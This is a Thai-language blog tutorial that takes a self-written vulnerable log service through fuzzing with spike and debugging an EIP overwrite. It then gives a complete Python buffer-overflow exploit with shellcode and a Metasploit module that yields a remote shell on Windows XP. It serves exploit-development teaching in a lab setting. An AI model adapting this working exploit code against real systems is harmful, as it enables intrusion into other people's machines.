จากหาช่องโหว่จนถึงเขียน Metasploit exploit module

ในบทความนี้เราจะมาดูกันว่าตั้งแต่การหาช่องโหว่ของซอฟต์แวร์จนถึงการเขียน exploit เพื่อเอาไปใช้กับ Metasploit framework เพื่อโจมตีซอฟต์แวร์ที่มีช่องโหว่นั้นจะต้องทำยังไงบ้าง เริ่มตั้งแต่ fuzzing เพื่อหาช่องโหว่เขียน code โจมตีเพื่อทำ proof of concept และสุดท้าย porting exploit นั้นไปใช้กับ Metasploit framework ครับ ไม่ได้ยากอย่างที่คิดไม่จำเป็นต้องรู้ภาษา Ruby ก็เขียนได้นะ ผมเองก็ไม่ได้เขียน Ruby แต่ควรมีพื้นฐานเขียนโปรแกรมมาบ้าง บทความนี้เขียนสรุปแบบรวบรัดสุดๆ ถ้าไม่มีพื้นฐาน buffer overflow มาก่อนอาจจะไม่เข้าใจ แต่สามารถอ่านเพิ่มเติมในเรื่องนั้นได้ตามลิงก์ท้ายบทความครับ

ทำไมต้องเขียน exploit ไปใช้กับ Metasploit ?
1. ง่ายต่อการใช้งานและพวก post exploitation, payloads ต่างๆที่มีอยู่ใน Metasploit เราก็สามารถเอามาใช้ได้โดยง่าย หรือเขียนให้ junior pentester ไว้ใช้งานก็ไม่เลวครับ
2. พอเขียนเป็นก็สามารถแก้ไขโค้ด exploit module ของ metasploit เมื่อมันใช้งานไม่ได้
3. ช่วยสนับสนุน Metasploit community

มาเริ่มกันเลย !!!

สำหรับตัวซอฟต์แวร์ที่มีช่องช่องโหว่ตัวนี้ผมเขียนขึ้นมาเองเพื่อใช้สอนในคอร์สเรียน Hacking & Security Workshop แต่สามารถดาวน์โหลดมาใช้เพื่อศึกษาได้ฟรีตามลิงก์
https://drive.google.com/file/d/0B1gDFjjjKrjzMEdEM0k1VlZYem8/view?usp=sharing

หลังจากดาวน์โหลดโปรแกรมที่มีช่องโหว่มาเรียบร้อยแล้ว ทำการเปิดโปรแกรม โปรแกรมนั้นจะทำตัวเป็น service เปิด port 12345 เพื่อรอรับคำสั่ง ผมใช้ nc เชื่อมต่อเข้าไปได้ได้ผลลัพท์ตามได้ล่าง

root@kali:~# nc 10.211.55.5 12345
Welcome to Stupid Log Server 0.1 
* Type HELP to see the list of the commands
Vulnerable software by http://mayaseven.com

ฝั่ง server ก็ส่ง banner กลับมาว่าเป็น log server และบอกว่าสามารถใช้คำสั่ง HELP เพื่อดูคำสั่งที่สามารถใช้ติดต่อกับ server ได้

root@kali:~# nc 10.211.55.5 12345
Welcome to Stupid Log Server 0.1 
* Type HELP to see the list of the commands
Vulnerable software by http://mayaseven.com
HELP
List of commands 
* GET (Ex: GET {date})
* PUT (Ex: PUT {log_string})
Vulnerable software by http://mayaseven.com

จะเห็นว่ามีคำสั่งที่สามารถใช้ติดต่อ server ได้ 2 คำสั่งคือ
GET เรียก logs จาก server
PUT ส่ง logs เข้า server

1. จากจุดนี้ผมจะเริ่มเขียน fuzzing ด้วย spike เพื่อใช้ในการสร้าง input รูปแบบต่างๆและส่งไปให้ server เพื่อให้มัน crash ถ้ามัน crash เราจะเอา input นั้นมาวิเคราะห์ว่าสามารถใช้โจมตีแบบ remote code execution ได้หรือไม่ต่อไป

root@kali:~# cat stupid_log_server.spike 
s_string("GET");
s_string(" ");
s_string_variable("log message");
s_string("\r\n");

ด้านบนคือตัวอย่างรูปแบบโครงสร้างของ input ที่เราจะส่งไปให้ log service server ประมวลผลโดย input จะอยู่ในรูปแบบ “GET {fuzzing input}”

root@kali:~# generic_send_tcp 10.211.55.5 12345 stupid_log_server.spike 0 0
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
Fuzzing Variable 0:1
Couldn't tcp connect to target
Variablesize= 5004
tried to send to a closed socket!
Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Couldn't tcp connect to target

หลังจากที่ผมใช้ spike ส่ง generic_send_tcp ไป fuzzing ทั้ง command GET และ PUT พบว่า command PUT มีช่องโหว่เพราะทำให้ตัว service software crash ตามรูป

Stupid log server 0.1

ผมลองทำการเปิด Stupid Log Server อีกครั้งโดยครั้งนี้ผมใช้ Immunity Debugger attach ตัว Studpid Log Server ด้วย เพื่อหาสาเหตุว่าทำไมตัว service ถึง  crash จากนั้นทำการ fuzzing ที่ command PUT ด้วย spike อีกรอบ

EIP overwrite

จากรูปด้านบนเราจะเห็นว่า EIP register ถูกเขียนทับได้ 0x41414141 โดยที่ 0x41 ก็คือ hex ascii ของตัว A นั้นเอง จากจุดนี้ ทำให้รู้ว่าถ้าเราใช้คำสั่ง PUT และตามด้วย string ยาวๆมันจะทำการล้นไปทับ EIP register ซึ่งถ้าเป็นแบบนี้สามารถที่จะต่อยอดการโจมตีจาก denial of service เป็น remote code execution ได้

2. หลังจากที่เราพบช่องโหว่และรูปแบบ input ที่จะทำการ trigger ช่องโหว่แล้ว ในจุดนี้เราจะทำการเขียน code ขึ้นมาโจมตีตัว Stupid Log Server นี้
แต่ก่อนที่เราจะเขียน code โจมตีได้นั้น เราต้องรู้ข้อมูลอีก 3 อย่างคือ จำนวน string ก่อนที่จะไปเขียนทับ EIP register, ที่อยู่ของคำสั่งที่ใช้ในการชี้ไปรัน shellcode ของเรา, และขนาดของพื้นที่ที่สามารถวาง payload ได้ สามสิ่งนี้ผมให้เป็นการบ้านของผู้อ่านลองเล่นดูนะครับ 😀

เฉลย
1. จำนวน string ก่อนที่จะไปทับ EIP register คือ 512 bytes
2. address ที่เก็บคำสั่ง JMP ESP คือ 0x7E45B310 (แต่ละ version ของ OS จะไม่เหมือนกัน)
3. พื้นที่ที่สามารถวาง shellcode ได้คือ 492 bytes

ได้ exploit code ตามด้านล่าง

#!/usr/bin/env python

__author__ = 'Nop Phoomthaisong (aka @MaYaSeVeN)'

import socket,sys

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))

shellcode = ("\xba\x0d\x6f\x16\x8a\xdb\xdc\xd9\x74\x24\xf4\x5f\x31\xc9\xb1"
"\x53\x31\x57\x12\x83\xef\xfc\x03\x5a\x61\xf4\x7f\x98\x95\x7a"
"\x7f\x60\x66\x1b\x09\x85\x57\x1b\x6d\xce\xc8\xab\xe5\x82\xe4"
"\x40\xab\x36\x7e\x24\x64\x39\x37\x83\x52\x74\xc8\xb8\xa7\x17"
"\x4a\xc3\xfb\xf7\x73\x0c\x0e\xf6\xb4\x71\xe3\xaa\x6d\xfd\x56"
"\x5a\x19\x4b\x6b\xd1\x51\x5d\xeb\x06\x21\x5c\xda\x99\x39\x07"
"\xfc\x18\xed\x33\xb5\x02\xf2\x7e\x0f\xb9\xc0\xf5\x8e\x6b\x19"
"\xf5\x3d\x52\x95\x04\x3f\x93\x12\xf7\x4a\xed\x60\x8a\x4c\x2a"
"\x1a\x50\xd8\xa8\xbc\x13\x7a\x14\x3c\xf7\x1d\xdf\x32\xbc\x6a"
"\x87\x56\x43\xbe\xbc\x63\xc8\x41\x12\xe2\x8a\x65\xb6\xae\x49"
"\x07\xef\x0a\x3f\x38\xef\xf4\xe0\x9c\x64\x18\xf4\xac\x27\x75"
"\x39\x9d\xd7\x85\x55\x96\xa4\xb7\xfa\x0c\x22\xf4\x73\x8b\xb5"
"\xfb\xa9\x6b\x29\x02\x52\x8c\x60\xc1\x06\xdc\x1a\xe0\x26\xb7"
"\xda\x0d\xf3\x22\xd2\xa8\xac\x50\x1f\x0a\x1d\xd5\x8f\xe3\x77"
"\xda\xf0\x14\x78\x30\x99\xbd\x85\xbb\xb4\x61\x03\x5d\xdc\x89"
"\x45\xf5\x48\x68\xb2\xce\xef\x93\x90\x66\x87\xdc\xf2\xb1\xa8"
"\xdc\xd0\x95\x3e\x57\x37\x22\x5f\x68\x12\x02\x08\xff\xe8\xc3"
"\x7b\x61\xec\xc9\xeb\x02\x7f\x96\xeb\x4d\x9c\x01\xbc\x1a\x52"
"\x58\x28\xb7\xcd\xf2\x4e\x4a\x8b\x3d\xca\x91\x68\xc3\xd3\x54"
"\xd4\xe7\xc3\xa0\xd5\xa3\xb7\x7c\x80\x7d\x61\x3b\x7a\xcc\xdb"
"\x95\xd1\x86\x8b\x60\x1a\x19\xcd\x6c\x77\xef\x31\xdc\x2e\xb6"
"\x4e\xd1\xa6\x3e\x37\x0f\x57\xc0\xe2\x8b\x67\x8b\xae\xba\xef"
"\x52\x3b\xff\x6d\x65\x96\x3c\x88\xe6\x12\xbd\x6f\xf6\x57\xb8"
"\x34\xb0\x84\xb0\x25\x55\xaa\x67\x45\x7c") 

eip = "\x10\xb3\x45\x7e"

buf = "PUT " + "A" *512 + eip + "\x90"*16 +shellcode
s.send(buf)
s.close()

หลังจากรัน exploit code เราสามารถได้ shell บนเครื่องเหยื่อ

root@kali:~# nc 10.211.55.5 4444
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection 2:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 10.211.55.5
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 10.211.55.1

C:\Documents and Settings\Administrator\Desktop>

3. มาถึงจุดสุดท้ายกันแล้วนะครับ คือ porting code นี้ไปใช้กับ Metasploit framework จริงๆแล้วพวก modules ต่างๆ ของ Metasploit เป็น Ruby code เราสามารถดูได้หมด เราจะเอา exploit module สักอันที่ใช้ protocol ในการโจมตีเหมือนกันมาเป็น template ก็ได้หรือเราสามารถใช้  template ที่ทาง Metasploit เตรียมไว้ให้ก็ได้

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  def initialize(info={})
    super(update_info(info,
      'Name'           => "[Vendor] [Software] [Root Cause] [Vulnerability type]",
      'Description'    => %q{
        Say something that the user might need to know
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Name' ],
      'References'     =>
        [
          [ 'URL', '' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'System or software version', { 'Ret' => 0x41414141 } ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Privileged'     => false,
      'DisclosureDate' => "",
      'DefaultTarget'  => 0))
  end

  def check
    # For the check command
  end

  def exploit
    # Main function
  end

end

ด้านบนเป็น exploit module template จาก https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-exploit

เราจะเห็นว่า template code มีโครงสร้างสวยงามง่ายต่อการอ่านและแก้ไข สิ่งที่เราต้องทำก็ง่ายเหมือนเติมคำในช่องว่างเลยครับ โดยสิ่งสำคัญที่เราต้องใส่เพื่อให้ exploit module ทำงานได้คือ
1. Target ก็คือ address ที่เก็บคำสั่งจำพวก JMP ESP
2. Payload space ก็คือขนาดที่สามารถวาง shellcode ได้นั้นเอง
3. ส่วน trigger ช่องโหว่ตรง def exploit

ผมทำการเขียน exploit module จากข้อมูลที่เราทำกันมาในบทความนี้ ได้ exploit module code ตามด้านล่าง

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Stupid Log Server Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Stupid Log Server 
          By sending an long string, an attacker can
          overwrite the buffer and control program execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'MaYaSeVeN',
      'References'     =>
        [
          [ 'Blog', 'https://blog.mayaseven.com/write-your-own-metasploit-exploit-module/' ],

        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 492,
          'BadChars' => "\x00",
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows XP Pro SP3 English', { 'Ret' => 0x7E45B310 } ],
        ],
      'DisclosureDate' => 'Nov 24 2016',
      'DefaultTarget'  => 0))

  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    buf = "PUT " + "A" * 512 
    buf += [ target.ret ].pack('V')
    buf += payload.encoded
    print_status("Sending #{payload.encoded.length} byte paylaod ...")
    sock.put(buf + "\r\n")

    handler
    disconnect
  end

end

ผมทำการ save ไฟล์ exploit mudule นี้ไว้ที่ /root/.msf4/modules/exploits/misc ใน Kali เพื่อไม่ให้มันไปกวนกับ modules อื่นๆจากต้นน้ำ ถ้าเกิดลองแล้วไม่เจอ exploit module ที่เราสร้างใน msfconsole ให้ใช้คำสั่ง reload_all ครับ

ส่งท้ายด้วยคลิป exploit  Stupid Log Server ด้วย exploit module ที่เราเขียน

สรุป ในบทความนี้เป็นพื้นฐานที่สำคัญ ในการที่จะต่อยอดไปถึงการโจมตีซอฟต์แวร์บน OS ใหม่ๆ ที่ต้องทำการ bypass security control เพิ่มเติมเช่น DEP, ASLR ครับ รวมถึงการโจมตี memory corruption แบบอื่นเช่น heap buffer overflow คงมีโอกาสได้เจอกันในบทความต่อๆไป 😀

ปล. บทความนี้ผมไม่ได้เขียนลงรายละเอียด สามารถอ่านในส่วนของเรื่อง buffer overflow ได้ตามลิงก์ด้านล่างครับ
https://blog.mayaseven.com/?s=how+to+hack+back+to+the+basic

buffer overflow, exploit, fuzzing, metasploit, module
Previous Post
[ภาคต่อ] แฮคจาก android app จนสามารถควบคุม server หรือได้ root ของ app นั้นๆ
Next Post
วิธีดูเว็บจริงเว็บปลอมใน 5 วินาทีและประเภทของ SSL Certificates

Related Posts

1 Comment. Leave new

  • อภิสิทธิ์
    July 21, 2017 14:02

    ผมไม่เข้าใจในข้อ 1ว่ามันเขียนยังไง fuzzing แล้ว cat ในภาพ fuzzing get command คืออะไร

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

Fill out this field
Fill out this field
Please enter a valid email address.
You need to agree with the terms to proceed